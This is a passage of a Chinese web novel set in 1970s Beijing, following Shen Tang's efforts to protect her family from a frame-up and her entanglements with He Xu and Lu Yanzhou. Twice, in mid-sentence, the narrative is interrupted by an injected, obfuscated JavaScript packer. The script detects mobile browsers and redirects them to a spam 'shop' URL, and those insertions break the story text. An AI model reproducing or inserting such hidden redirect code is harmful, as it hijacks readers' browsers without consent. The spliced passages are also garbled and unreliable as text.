李芬双眼通红蓄着泪眼,低声恳求:“我已经按你说的办了,可现在郑家的怒火全冲着我来了,我工作也没了,连我舅舅也失去了人民日报社主任之位,你得想个法子保住我!” 贺旭挑了挑眉:“我要是你,早就报名下乡了,你在首都得罪的又不只是郑家,你以为你还能待在这里?” 李芬一直以为当初贺旭打听她的情况是对她有意思。 直到前些日子她被举报,工作被停,正当她找关系想要保住自己职位时,贺旭忽然找到她,让她擅自发表了关于革委会主任的儿子郑霖贪污受贿一事。 这么劲爆的消息已经发布,报纸的销量瞬间提升几倍。 她以为主任一定会很高兴,可接下来的发展却让她深陷囹圄。 郑家对付不了贺旭,但对付她却是轻而易举。 工作毁了,舅舅也恨极了她,家里所有人都在指责她。 她都快被逼疯了。 早知道如此,她绝对不会推那个姑娘,也不会自信到能勾搭这么一个阴狠至极的男人! “我不要下乡,你给我安排一份工作!” 贺旭轻蔑的笑了下,声音冷冽寒凉:“天真,我没剁了你的手,已经是格外开恩了。 你可以选择不下乡,我这里倒还有另一个选择。” “什么选择?” “坐牢。” 李芬身形一颤,倏的放开了他的自行车。 贺旭单脚踩在地上,点了根烟:“你应该庆幸,郑家这段时间忙的很,没空来找你,等他们有了空,第一个料理的便是你。” 李芬心死如灰:“所以我只有下乡一条路?” 贺旭神色不耐烦:“当然你也可以去告发我,毕竟你已经得罪了一个郑家,再得罪一个我也没什么。 好了,我还有事,别挡着老子的路。” 他现在可没心情跟这女人说话。 李芬没敢拦他的自行车,看了下四周无人,用纱巾蒙住脸跑去了知青办。 下乡就下乡,这个男人铁了心要对付郑家,只要她等到郑家倒台,一定还可以回来首都的。 陆宴州在沈家住了下来。 老爷子格外喜欢他,大清早的还带着他去公园打太极或者爬长城,回来时更不忘带他去故宫领略风景。 沈棠去过一次就不爱去了,主要是走路太累。 趁着众人都出去了沈家,她打算去老爷子的书房看看。 沈家被陷害之事,对于原身来说已经过去三十多年,很多细节已经记不住了。 她只知道那份证据是从书房里搜出来的,并不确定其他地方有没有遗漏。 故而这些天她已经把别墅大大小小的地方都找了个遍,就剩下老爷子平日里不让人进的书房了。 沈棠去沈老爷子房间偷了钥匙,打开了书房门。 里面放着不少书和资料,她没敢看那些东西。 心想着既然会被革委会的人找到,那肯定藏的不深,所以她率先把桌子上找了个遍。 桌子上除了一些文件,根本没有其他东西。 正当她试图去查看后面书柜时,外面忽然传来沉重的脚步声。 “你在这做什么?” 去而复返的陆宴州站在门口问她。 沈棠吓了一跳,赶忙退出房间把门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211098|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁了:“我就是想来找本书看,你别告诉我爷爷。” 沈老爷子平日里对她很宠爱,可一旦触及到了他的底线,是绝对不会手下留情的。 陆宴州的房间在书房旁边,他看着怕的和小兔子一样的姑娘,眼里闪过一丝笑意。 “我不和老爷子说,但你得告诉我真话,你为什么要偷摸进入老爷子房间?” 沈棠对陆宴州还是信任的。 这并不是对他这个人信任,只是在这件事上,陆宴州彻彻底底就是个路人。 上辈子他根本就没来过沈家。 她思考了下,将他招呼到走廊尽头:“是这样,你知道梁季雨吧,她爸爸因为挪用公款被抓了,我意外得知,这件事有人在背后算计,目的就是为了拉下沈家。 我进老爷子的书房,就是想看看会不会有人偷偷塞进了一些陷害沈家的证据。” 陆宴州知道如今时局很不稳定,但小姑娘的话还是让他觉得天真。 “你有没有想过,老爷子书房有很多机密要件,如果连你都不能进的话,又有谁能进去?” 沈棠:“……就是不知道,所以我才想去看看。” 陆宴州看出了小姑娘脸上那欲言又止的表情。 他笑了笑:“我的意思是,家里就你们几个人,不可能出现内奸,但外人又无法进入,会不会大寿那天革委会的人搜索的时候,自带了进去? 又或者,有人趁着人多眼杂的时候,翻墙进去了。 总之,现在你肯定找不到那所谓的证据,不然革委会的人早就来了。” 沈棠觉得他说的话有点道理。 忽然,她注意到一件事:“你怎么又回来了?” 他不是陪爷爷去战友家做客了吗? 陆宴州举起手里的信:“忘记拿这个了。” “这是什么?” “转隶文件。”陆宴州眸子里漾着温柔的色彩:“我被调入你们战区了。” 沈棠干巴巴的说了句:“挺有缘的,那……欢迎欢迎?” 陆宴州被她这副呆愣的表情可爱到了。 他眼神闪了下,抿唇点了下头:“是有缘分,我先走了。” 沈棠回了房间,想起老爷子的寿礼还没准备,又支棱一下坐了起来。 老爷子最喜欢古董,底下室里就有不少藏起来的好东西。 但现在国家禁止古玩买卖,只有一些隐匿之地会特供给干部。 可她一个三观正的小姑娘,根本就不知道黑市和贩卖古玩的地方啊。 忽然,脑海里跳出一个人。 第30章 有陆宴州在,他看他们俩怎么在一起 贺旭年少的时候经常打架斗殴,在这一片闲散青年里十分有威望。 他应该知道一点这类消息吧? 可人家都不让她去贺家,她去求人家岂不是太没面子了? 沈棠做不出当面求和的事,又想到昨天贺旭已经回来后,就一直没有出去过,此刻他应该在自己的房间里。 沈棠思考了一瞬,拿出一块小红布,用木棍绑好,在窗前不停的晃。 一块大红布在那里晃了晃去,贺旭又不是眼瞎,怎么可能看不到。 他眉头狠狠拧了起来,沈老爷子的车才走没多久,沈棠能出什么事? 可他又怕万一。 没犹豫多久,贺旭便出了门。 到了沈家门口,他还按了按门铃,发现没有人来开门,他才翻墙进去。 沈棠并不知道贺旭已经来了,她还躺在床上晃着手中的木棍。 直到窗户忽然爬上来一人,吓的她差点尖叫。 看到是贺旭才忍住了。 “你、你怎么爬上来了?” 她赶忙将人拉了进来。 贺旭皱着眉头在她身上打量:“出了什么事?” 沈棠搓了搓手,眼神飘忽:“没出什么事,你怎么来了?” 贺旭一看她这副表情就知道她在打什么主意了。 想起自己刚刚担心的慌不择路的模样,他气笑了:“你问我?不是你引我来的吗?没事的话,我这就走了。” 沈棠连忙拉住人:“好吧,我确实有点事想请你帮我,谁让你说不许我去贺家的。” 贺旭想起自己之前的话,心里也有些后悔,不应该说那么重的。 “有事可以直接去找我,不要再弄这些小把戏。” 按了半天门没人开,吓的他还以为她出了什么事呢。 沈棠腼腆的笑着:“是这样,爷爷大寿就要到了,但我的寿礼还没有准备,我想……买个古董送给爷爷。” 贺旭双眸微眯:“想买古董?” “嗯嗯。”沈棠眨着清澈的大眼眸点头。 贺旭被她看的有些不自在:“我也不认识几个……” “那就是有认识的。”沈棠开心拉住他的手,十分真诚的恳求:“贺大哥,拜托了,我就想让爷爷开心一下。” 爷爷对她这样好,她也想送一件称心如意的东西给爷爷祝寿。 贺旭冷定的将手抽了回来:“仅此一次,下不为例。” “六点以后,我在大院门口等你。” 贺旭说完,开门走了出去。 正好遇到溜达回来的贺老爷子。 贺老爷子:“……” 糟糕,没防住,他俩在暗度陈仓! 傍晚,沈棠连饭都没有吃,就找了个借口说去朋友家玩便出去了。 沈老爷子怎么想都不对,自家孙女他还能不知道吗? 偌大的首都,就没见她除了何家那闺女还有别的朋友。 别是和贺家那小子鬼混去了。 “宴州,你送棠棠去吧,路上安全。” 有陆宴州在,他看他们俩怎么在一起。 陆宴州扫了一眼沈棠,没多犹豫,便答应了下来。 沈棠原本想拒绝,但想起中午的时候人家才帮她保守了秘密,这时候赶人有点过意不去。 反正她又没干什么,跟着就跟着了。 出了大院,贺旭站在自行车面前正抽着烟,瞥见沈棠时眸色不易察觉的柔和了下,可再看到陆宴州时,漆眸掠过一道冷光。 陆宴州也没想到沈棠所谓的朋友就是贺旭。 “许久不见,贺同志。” 贺旭眯起眸子:“真不好意思陆同志,我的自行车只能带一人。” 陆宴州勾起唇角:“没关系的,贺同志身上的药膏味挺大的,应该是受了伤,我和沈同志走路就好,你自己骑吧。” “男人嘛,受点伤算什么,你说对吧,沈棠?” 贺旭笑不达眼底,眸色阴冷的瞥向旁边的姑娘。 沈棠:“……” 她总感觉气氛不对。 不过她还有求贺旭呢,还是不要反驳他的话了。 “对。”她赞同的点头。 陆宴州这才多看了一眼贺旭,见沈棠已经坐上了对方自行车,抿了抿唇,询问起他们的目的。 “沈同志,你这是要和贺同志去哪?若是我跟不上你,不好和沈爷爷交代。” 沈棠没敢说自己去黑市,撒了个小谎:“去供销社。” 她话音刚落,贺旭骑着自行车就走了。 吓的她立马抓住了他的衣裳,怕牵动他后背的伤,坐稳之后,她便放开了手中的衣服。 贺旭注意到这点,薄唇紧抿,不知道在想什么,但黑眸的冰冷却越发的浓烈。 两人胡同街道里绕到了几圈,最后贺旭停在了一座小型四合院前面。 敲了四下门,古朴的大门没过多久,便从里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211099|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面打开。 探出头是个大胡子中年男人,瞧见三人,眼睛眯了起来:“两位有什么事?” 贺旭很熟悉规矩,对这个不认识他的男人挑了挑眉:“跟秦爷说,贺旭来找。” 男人打量了一下贺旭,随即关上了 大门。 沈棠在旁问了句:“你好像很熟悉这里?” 贺旭淡淡颔首:“还行,年少的时候不太听家里话,在这一片打过几次架。” 沈棠压低声音:“那这里的人可靠吗?” 贺旭看着她靠过来的身子,冷不丁的问了她一句:“你对所有男人都这么亲近吗? 沈棠歪了小脑袋瓜看他,不明白他怎么又生气了。 但她还是诚实的回答:“没有,因为信任你,才对你亲近的。” 贺旭心里的郁闷一下就消散。 他轻咳了声,嘴角微翘:“你放心,我能带你来,肯定会保证到你手上的东西是真货。” 沈棠看到他忽变好的脸色,心里算是问号? 两人说话之际,木门再次被打开,中年男人做了个“请”的手势。 沈棠原以为那位叫秦爷的是个六十多的老人,结果走进来一看,是个三十多岁的年轻男人。 对方见了贺旭,笑着迎上来:“贺老弟,多年不见,你长的越发好看了。” 贺旭脸色一僵,躲开他伸过来的手:“叙旧的话就不多说了,我这次来就是带个朋友看看有没有喜欢的东西。” “朋友?”秦爷转头看向沈棠,顿时明了。 秦爷将二人请到屋内,东西摆放很随意,地上放着好些看着又旧又老的花瓶,柜子里也有些看着是官窑的碗。 沈棠并不认识古董,只在前世写作的时候也查了一些资料,看过不少拍卖会上价值连城的东西。 在看到一对明朝的盘子和一个质感极漂亮的青花云龙的花瓶时,她立刻拿了起来。 “这三个东西多少钱?” 秦爷惊讶于她的眼光,随即笑了笑:“这个花瓶倒是好,我不坑你,盘子一对收你二十块,青花云龙花瓶收你二十八块。” 沈棠:“这是真货吗?” 这也太便宜了。 秦爷叼着根烟,吊儿郎当的看了一眼贺旭:“今天但凡是别人来,我绝对不会说这个实话,不过看在那小子的面子上,我可以告诉你,这两个东西绝对保真。” 沈棠下意识望向贺旭,后者面色像吃了屎一样难看。 第31章 修罗场 秦爷哈哈大笑:“谁让你当初耍老子,这回我可算是把你恶心到了。” 贺旭付了钱,就拉着沈棠离开了黑市。 惹的沈棠满是好奇:“之前你们发生了什么事?” 贺旭咬了咬银牙:“没什么,就是当年他以为我是个女人,我没第一时间揭穿。” 主要是那时候太饿了,这男人还以为他是个漂亮姑娘,就可怜他偷偷给他带吃的。 他一时嘴馋,装了哑巴没解释。 以至于后来被发现,气的对方差点没扛着大刀追杀他两条街! 沈棠眼睛一转,该不会是秦爷以为他是女孩,然后喜欢上了他吧? 她控制住嘴角尽量不笑贺旭。 但贺旭眼尖,一下子就瞄到了她上扬的嘴角,顿时满头黑线:“别以为我不知道你在笑话我!” 沈棠:“没有,我绝对没有。” 话是这么说,眼睛已经笑成了月牙。 贺旭气的捏了一把她小脸,看她开心,心里忍不住升起一丝甜蜜。 “咱们还得去趟供销社,万一爷爷问起来也好有个交代。” 两人来到供销社的时候,陆宴州已经在原地等着了。 显然是坐了公交车过来的。 他神色沉稳没有半点意外,慢慢走到沈棠旁边,从口袋里拿出一把大白兔奶糖。 “吃吗?晚饭没吃应该会饿。” 沈棠正好有些饿了,侧头对他笑了下:“谢谢。” 贺旭瞧见,嘴角的笑顿时收敛了下来。 沈棠没管那么多,把手里的东西交给贺旭后,跟着人群就挤了进去。 看到有红虾酥和水果罐头,水果罐头是这里的热销,每个人只能买两罐,不过不需要票,沈棠果断买下来回家给侄子侄女吃。 看到还有左边还有卖冰棍的,又让售货员帮自己拿了三条出来。 “给你们。” 贺旭和陆宴州一言难尽的看着小孩子才吃的冰棍。 “不要吗?” 小姑娘梳着两条辫子,漂亮的小脸蛋泛着微红,像个甜美可人的水蜜桃,又清又纯的眸子疑惑的看着二人。 贺旭和陆宴州同时接过,对视间仿佛有火花相撞。 偏心大的姑娘没有丝毫察觉,红唇抿出一个笑:“我请你们去国营饭店吃饭。” 今天贺旭帮了她,陆宴州跟来也辛苦了,她总不能让两人白跟着连口饭都吃不着。 贺旭勾了唇,轻讽:“运气真好,还能白捡一顿饭。” 陆宴州长睫微抬,面色沉稳:“毕竟关系好。” 贺旭:“……呵!” 到了国营饭店,沈棠让两人坐着,自己去点了菜。 这时候正是下班高峰期,饭店里人多声杂,队伍也排的老长。 陆宴州坐在和贺旭对面,声音平静:“贺同志,你可知道沈家与我们陆家有婚约?” 贺旭挑了挑眉:“是与你陆同志的婚约吗?” 陆宴州摇头:“贺同志,沈同志这样单纯的人,你若是为她好,就不应该带她去那种地方,我与沈同志之间没有婚约,但沈爷爷让我跟你们出来,便是希望我能多照看一点沈同志。” 沈棠手里的东西包裹的严实,可他还是一眼就看出了不对劲。 什么东西需要包裹的严实不能被发现? 只可能是这件东西本身就见不得光。 贺旭又怎么会不知道带她去那种地方不妥。 可他更相信,这个姑娘不会是那种冒冒然做事的人。 “不劳陆同志担心,我有分寸。” 这时,两个提着包挽着手的女人走了过来,为首的穿着的确良衬衫,下配黑色裤子与皮鞋,许是保养的好,看起来不过二十多岁。 而跟随着她一同过来的女人,是前些天沈棠看到的那个与贺旭相亲的江思遥。 看起来应该是刚下班。 “呦,是阿旭呀,你怎么在这里吃饭,爷爷没过来吗?” 贺胜男看到贺旭手边放着不少东西,明显都是小孩爱吃的。 她心里有个不好的预感,转头一看就看到正在排队的沈棠,眼里的笑立时淡了许多。 爷爷当年分家的时候,大房两个儿子一个女儿都跟着原 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你以前最喜欢的就是成绩的好的乖乖女,你看她长的漂亮,性子也好,多配你呀。” 说着,她就拉着江思遥坐在了贺旭旁边。 江思遥脸色发红,正羞涩着呢,就看见翘着唇角的贺旭冷冷吐出几个字。 “滚远点,别挨着老子。” 江思遥脸色一下就变了。 陆宴州看到这一幕,从旁边拉出一条凳子放在旁边:“两位同志坐着吧。” 江思遥心里不胜感激,对着他温柔一笑:“多谢这位同志。” 她们的位置靠墙,四方桌只有三个人的位置,沈棠点好菜过来,就发现自己没有位置了。 她不高兴的瘪了下嘴。 忽然陆宴州和贺旭同时移了下位置,空出了两个位置。 “坐我这吧。” 两人异口同声,黑眸相对,场面一时有些安静。 第32章 陆同志和沈棠有婚约 江思遥打破诡异的气氛:“要不沈同志坐我这吧,我正好去点菜。” 沈棠看到江思遥就想到了二人之前相亲的事,没多犹豫坐到了陆宴州旁边。 贺旭唇角边的笑僵硬在了脸上。 他注视着沈棠,仿佛要把她吃似的,黑眸里全是冷意。 沈棠心底也在犯嘀咕,明明是他自己让她不要喜欢他,相亲对象都来了,她总不能碍着他的好事吧。 贺胜男看到这一幕心里止不住的高兴:“这位就是陆同志了吧,听沈棠表妹说,你与沈棠有婚约?” 她看着身姿板正,五官端正硬朗的陆宴州,心里升起一丝嫉妒。 这沈棠运气倒是好。 “没有。” 陆宴州不是个多话之人,但也知道老爷子没有将沈棠许配给他的意思,自然不好在大庭广众之下让人污了沈棠名声。 贺胜男还要问,话到嘴边被贺旭打断:“堂姐该不会要蹭我们的饭吧?那可不好意思了,今天是沈棠请客,只请了我一人。” 陆宴州都是顺带的。 其他不相关的,也好意思蹭吃蹭喝? 贺胜男气的脸色僵硬:“我缺这点钱?” 贺旭:“不缺就赶紧走,桌子本来就小,凭白占了人家请客人的位置,这就是你贺家小姐的教养?” 贺胜男简直要气疯了,她是真不知道老爷子看中贺旭哪一点,亲爸亲妈都不要的卑贱东西,也敢在她面前耍威风了! 但凡爷爷今天看中的是他们大房的人,贺旭这小子连鞋都不配给她提! 江思遥在旁边打圆腔:“胜男,算了,别因为我和你弟弟吵架,说来也确实是我不好,占了沈同志的位置。” 沈棠只遇到过一个摆在明面上的白莲花何秋,听不出江思遥在把矛盾转移到自己身上,还想着这人说话就说话,干嘛要把她牵扯进来。 但贺旭在后妈手里生活了那么多年,江思遥这些手段他简直一清二楚。 见贺胜男的怒气对准沈棠,他长指轻叩桌子,面色冷淡的转移对方注意力: “江同志,既然你知道自己不好,还请麻烦去别的桌。” 江思遥脸色一白,这男人可真是油盐不进。 她心里暗恨,正想着要不要顺势而下,带着贺胜男离开,收获点众人的好感时。 忽然,瞥见门口进来一人。 江思遥眼睛一转,起身道:“贺同志,打扰你跟沈同志了,我这就走。” 他们的位置离门口不算远,站起身来就被梁季雨看到了。 梁季雨原本并不是认识江思遥,可谁让人家是贺家大房二公子的女儿、贺大小姐的闺蜜好友呢。 何况江思遥与贺旭相亲的事早就传遍了他们的圈子。 都说这姑娘走了狗屎运呢。 贺旭年少时看着混蛋,长大后参了军,却比其他大院子弟出息多了。 平平无奇的江思遥能搭上贺家,还和贺旭相了亲,可不就是走了狗屎运吗? 梁季雨的想法就不同了,梁家出事后,她恨不得把可以攀上的关系都攀上。 见江思遥对侧还坐着沈棠,她根本没思考,就觉得肯定是沈棠插足了江思遥和贺旭。 听到江思遥的话后,立马走了过来,言语讽刺:“贺大哥,你怎么能这么对思遥姐? 我知道你对沈棠又好感,但你肯定不知道,我外公已经将沈棠许配给了你旁边这个农村小子,你可千万要擦干眼睛,免得有些人明明已经有了对象,还和别人的相亲对象有牵扯。” 贺胜男微不可查的翘起唇角。 她这个弟弟,有极强的洁癖,自己的东西别人休想沾染一分,对于别人沾染过的东西,也绝不会多看一眼。 他是绝对不会喜欢上一个有婚约的人,也不会喜欢上一个跟别的男人有牵扯的姑娘! “表姐,你也别怪我拆穿你,外公明显是打算将你许配给陆宴州,你还吊着人家贺大哥,你也是不知羞啊。” 沈棠根本就不知道沈家与陆家还有婚约。 她疑惑的看着嘴巴啰嗦个不停的梁季雨:“你毛病吧,我有没有婚约我自己还能不知道? 你要是因为姑父的事对我们有意见,故意造谣我污蔑我,那我确实没话好说。” “你、你!”梁季雨瞪圆了眼睛,沈棠这胆小鬼怎么这么会说话了? 这让她如何接话? 贺胜男看了一眼不争气的梁季雨,心里憋着气,给江思遥使了个眼色。 江思遥笑盈盈的拉住梁季雨,做出一副为他们好的模样:“沈同志,季雨只是口不择拦,你别怪她。 其实我们也听说了一些谣言,说是沈家与陆家有婚约,今日又看到你与这位 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他哪里还有心情吃饭? 烦都烦死了。 江思遥心里滋生出了一些怨恨,贺旭这人嘴巴怎么这么毒,就算长的再好看,她也根本没法喜欢起来。 要不是为了贺家的荣华富贵,她早就另外选择一个更容易控制的男人了。 “贺姐姐,可能是我话说错了,让贺同志去曲解了我的意思,我这就跟贺同志道歉。” 贺胜男更加气了:“道什么歉?他一个大男人,跟个女孩子过不去,他也好意思?” 贺旭实在是不想听她们说话,站起身道:“行了,你们自己吃吧,我先走了。” 贺胜男和江思遥眼见着他离开,忽然回过神来,她们明明是想歪曲沈棠的形象,怎么反倒是把贺旭给气走了? 没了正主,三个人理都不理沈棠,去排队买了菜,打包后头也不回的离开了饭店。 陆宴州:“……咱们是吃饭还是走?” 沈棠看着服务员端来的饭菜,摸了摸肚子:“我没带打包的饭盒,还是吃了再走吧。” 再怎么样,也不能浪费粮食是不? 陆宴州点点头,看着呆萌清冷的沈棠,唇角不自觉上扬 第33章 被打的人不是贺旭,但打人的是他 回了家,沈棠把自己买的两样寿礼放进了爷爷的地下室。 她才不会蠢到在爷爷大寿上拿出来,最起码要等风波过去,晚上再悄悄拿出来逗老爷子开心。 睡觉前,沈棠还望了一眼对面,看到贺旭的房间没有亮灯火,心里不免升起疑惑。 贺旭好像经常不回贺家? 自那天之后,沈棠再也没见过贺旭,并不知道对方是否已经回来。 直到沈父沈母的凋令下来。 沈二叔当天就带着一家老小来了沈家。 一同过来的还有沈萍……的儿子梁季风。 沈萍自己倒是想过来,奈何老爷子下了令,不允许她进大院,梁季雨又不敢来。 她思来想去,最后恳求了二哥带着自己儿子过来听听消息。 毕竟无论是沈越还是沈萍,两家能在京城活的滋润,都是靠了沈老爷子。 沈二叔进门第一句话,便是质问沈老爷子:“爸,大哥为什么调去北边边防部队,郑霖虽然被郑家放弃了,可这些日子郑家也是元气大伤,我们有什么好怕的?” 沈沐能走到今天,都是自己上战场打拼出来的,要是连大哥都要远离京城,他还能待在首都吗? 沈越心里不安,今天怎么这也要让老头子给个说法。 沈老爷子轻叹了声,起身朝二楼去:“你跟我来书房。” 沈越连忙跟上。 沈棠坐在楼下沙发,听着收音机里的歌声,时不时和旁边二叔家二女儿沈甜堂妹说话。 二婶带着沈珍珍去大院闲逛,小堂弟沈辰则在跟陆宴州打听部队的生活。 他成绩不好,高中毕业后要么进厂,要么进部队,但他爸那小厂他才不想去。 梁季风见众人都不搭理自己,眼低闪过一丝难堪和阴霾。 他笑容单纯,走上前拍了下沈棠的肩膀,轻声道:“表姐,你出来一下,我有点事要跟你说。” 沈棠不太喜欢梁季风。 梁季风和梁季雨事双胞胎,如果说梁季雨是继承沈萍一贯的嚣张跋扈,那么梁季风则继承了姑父梁文孝伪君子性格。 她记忆里虽然没有原身被欺负的那一段画面,但原身厌恶梁季风是从心底升起的情绪。 也包括她看到对方的第一眼就是不喜。 “是关于贺旭二哥的,你不想知道贺二哥这两天没回贺家都到哪去了吗?” 梁季风见沈棠迟迟不动,低声诱导着她。 沈棠想了想,梁季风应该不敢在沈家对她动手,便走了出去。 来到门口,她问:“你想说什么?” 梁季风面露羞愧:“表姐,小时候是我对不住你,长大后我才知道我和姐姐当年错的离谱,贺二哥的事我也是无意中听到的。 你也知道,贺二哥他爸最疼爱就是他后妈带回来的那个孩子贺期,我平日里和贺期走的进了点,听到他说,这一次要带人去烧了贺二哥房子。 就在西街那条帽儿巷子,好像就在下午,你要过去看看吗?” 沈棠像看傻子一样看他:“你手段好低劣啊,这么直白的陷阱我会中计吗?” 梁季风面色一僵:“……表姐你在说什么?” 沈棠小手一揣,就打算回屋内。 梁季风脸上的笑容敛了下来:“表姐不信就算了,我只是听闻表姐与贺二哥关系不错才提醒的你,原本想着,万一出了点事也好有人帮送医院。” 沈棠没那么傻,被他挑拨一下就去了。 但梁季风确实与贺期的关系不错,如果是乱说,那这人又为什么要骗她? 陆宴州见沈棠回来,低声询问她出了何事。 沈棠看了一眼陆宴州,忽然灵光一闪:“陆同志,能不能麻烦你陪我去个地方?” 陆宴州自然无不可。 看着两个离开沈家的背影,梁季风站在门口勾起唇角。 沈棠和陆宴州来到西街胡同,却并没有看见贺旭。 她忍不住磨了磨牙:“我就说梁季雨的话不能信,这一次真是麻烦陆同志了。” 陆宴州摇头:“没什么,来一趟让你心里放心也是值得。” “那回去吗?” 沈棠点头:“所以梁季风到底再打什么主意?” 陆宴州素来寡言少语,他看着愁眉不展的小姑娘,微卷的长发被一个大蝴蝶结绑着,随着她走路微微晃动,心觉好笑。 “想不通,不如先回家看看?” 沈棠一个激灵,上辈子沈家出事,该不是梁 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贺旭冷笑,一脚将他踩在地上:“你一个废物,喝了酒,话倒是不少。” 沈棠看的小身子一抖,苟着身子打算偷溜走。 走到一半,又怕贺旭真把人给干没了,狗狗祟祟的又跑了回来。 探头一瞧:“人呢?” 她才走了几步,怎么就没人了? 忽然,她感觉背后一凉。 一道低哑磁性的声音在身后响起:“不是走了吗?又回来做什么。” 沈棠回头一看,男人身姿站的板正,丝丝血迹渗透白衬衫。 他似乎一点也感觉不到,淡淡的擦拭了下脸颊边的血珠,黑色的眼眸复杂而冷淡的看着她。 至于贺期,已经被男人拖到了巷子外,一群人正在围观叫人送医院。 买完冰棍的陆宴州回来没看到沈棠,无奈之下只能先把人送去医院。 临走之前还往巷子里面看了一眼,发现什么都没有,才拧着眉将人背起。 巷子拐角处,贺旭单手撑着墙,长睫微掀,目光凌凌的望着松口气的小姑娘。 第34章 被沈老爷子发现,打手心 贺旭淡声道:“人已经走了,别看了。” 沈棠扶了扶人,小心的问了句:“你没事吧?” 贺旭轻笑:“害怕了?” 沈棠摇摇头:“话说,那位不是你后妈继兄吗?你干嘛要打他。” 贺旭嗤笑:“继兄?” 不过是个私生子罢了。 他扫了一眼身前的姑娘,忽的伸出手抬起她的下巴:“你还没有回答我,既然走了,回来干什么?” 沈棠她并没有意识到某个人的内心挣扎,她诚恳又疑惑的说:“担心你呀。” 男人看她的眼神微愣住,像是疑惑又像是不解。 她解释:“担心你会下手太重,造成不可挽回的后果,也担心你受伤。我们都认识这么久了,不是很正常吗?” 贺旭虽然拒绝了她,可两人既是邻居,又是世交,他还帮了她好些忙,为什么她不会担心? 这人脑回路真是奇奇怪怪的。 贺旭的指尖轻轻触碰了下小姑娘的眼角,那双如月色明亮皎洁褐色瞳眸干净的映着他的身影,好似能够洗清一切罪孽,平缓人心浮躁。 “不觉得我太狠了吗?” 沈棠可不敢说觉得,那只手还在她脖子处轻抚了呢。 “他是罪有应得吗?” 贺旭笑了:“当然。” “那就是不算狠。” 也不知是不是错觉,沈棠总感觉这人的情绪好似有些了变化。 贺旭半伏在沈棠身上,看不清神情,声音低落而松弛:“我伤口好像裂了,沈棠,好痛啊。” 沈棠满眼震惊,这人上次挨了那么多鞭子都没说痛,现在自己把人揍的半死不活,还说痛? 难道是上次的后遗症? 她用力扶着他:“那要回贺家吗?” 男人摇了摇头,黑眸里暗藏着情愫:“回我家吧,我家在附近。” 沈棠一边扶着他小心翼翼的走,一边询问:“你在这里还有四合院呢?” 那可真是发了。 在后世,首都一环四合院,能卖出天价。 贺旭:“年少的时候,我爸妈从不管我,饿的半死不活,也只能出去抢同龄孩子的东西吃。 后来爷爷看到了我的价值,将我带在身边抚养,也没有多给过我零钱。 贺家时不时就有人登门和老爷子吵架,每个人都想将我赶走。 我没办法将贺家当成我的家,却惶恐爷爷会抛弃我,惶恐回到过去无依无靠的日子。 所以老爷子知道我的想法后,将我奶奶留下的一座小四合院过户到了我的名下。” 他说完,黑眸直勾勾的盯着怀里姑娘的眼睛,好似想从她眼里看出点什么。 “这院子对我来说,就像漂泊了许久,终于找到了一个落脚的地方。 虽不是我的家,却是我晦暗的年少里唯一一处能让自己感受到踏实的港湾。” 素来桀骜不训的英俊少年落寞的说起往事,小模样确实有点让人心疼。 但心疼男人倒霉一辈子。 沈棠心道,她可机灵着呢,才不会被骗。 路不算远,将扶人进去四合院里,沈棠按照他的指示将药膏拿了出来。 掀开他的衣服一看,伤根本没裂开,只是扯动了结痂的鞭伤。 这人不会是故意装痛吧? 沈棠伸手从肌肉线条流畅的后背划过,嘴角没忍住上扬了下,别说,还挺好摸的。 光线之下,贺旭的后背上大大小小的疤痕呈现在眼前,宽大而结实又极具冲击力的后背,看的她心神都在荡漾。 忽然,她的手被人抓住。 沈棠吓的把手抽了回来。 贺旭唇角微扬,目光灼灼的看着她:“好摸吗?” 想到刚刚的触感,沈棠没忍住咧了咧嘴:“还行。” 直白的话让贺旭嘴角翘了翘。 他眼睛一转,翻了个身,手肘撑在床上,昂着头露出性感的喉结,以及壮实有力线条分明的腹肌,目光温柔的勾引着她。 “那……要不要摸摸前面?” 沈棠瞄了一眼那八块坚硬分明腹肌,随着他呼吸起起伏伏,嘴角控制不住的上扬了下。 内心的小人儿更是激动的狂叫。 不行不行,这男人突然这么勾人,绝对在打什么坏主意。 沈棠,你已经是个成年的孩子了,你要学会拒绝! 色即是空! 她腾的一下站起来:“不了,我还有事,就先走了。” 看着小姑娘慌忙跑出去的背影,贺旭刚刚还温和的眼眸瞬间淡了下来。 这么急匆匆的离开,是去找陆宴州了吧? 沈棠本来是 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沈棠抱着两只肿成粽子的手泪眼汪汪的回了房间。 沈母心疼自己女儿,拿了消肿的药去了她房间给她包扎。 沈棠疼的直抽气,声音都带着颤音:“爷爷呢?” “房间里坐着呢。” 老爷子打了沈棠手心后,就拿着那盒子坐在沙发上叹气。 这会儿连灯都没点。 想想也是,沈老爷子当年那么疼爱沈萍这个女儿,连带着两个外孙也是爱屋及乌。 即便当年梁季风姐弟对沈棠欺负,他只不过是将他们赶了出去,并没有多少惩罚。 可今天,梁季风却用这些金条和信,想要将他们一家陷入万劫不复之地。 老爷子怎么可能不伤心? 沈棠没出去劝老爷子,这件事得让老爷子自己想清楚才行。 她现在最烦的是,那五根金条和信件与上辈子陷害沈家的东西根本不是一个东西。 难道是她穿越后引起的蝴蝶效应? 没有等她想清楚,沈老爷子的寿辰到了。 第35章 搜查沈家 即使老爷子并没有打算大办宴席,但来的亲戚还是蛮多的。 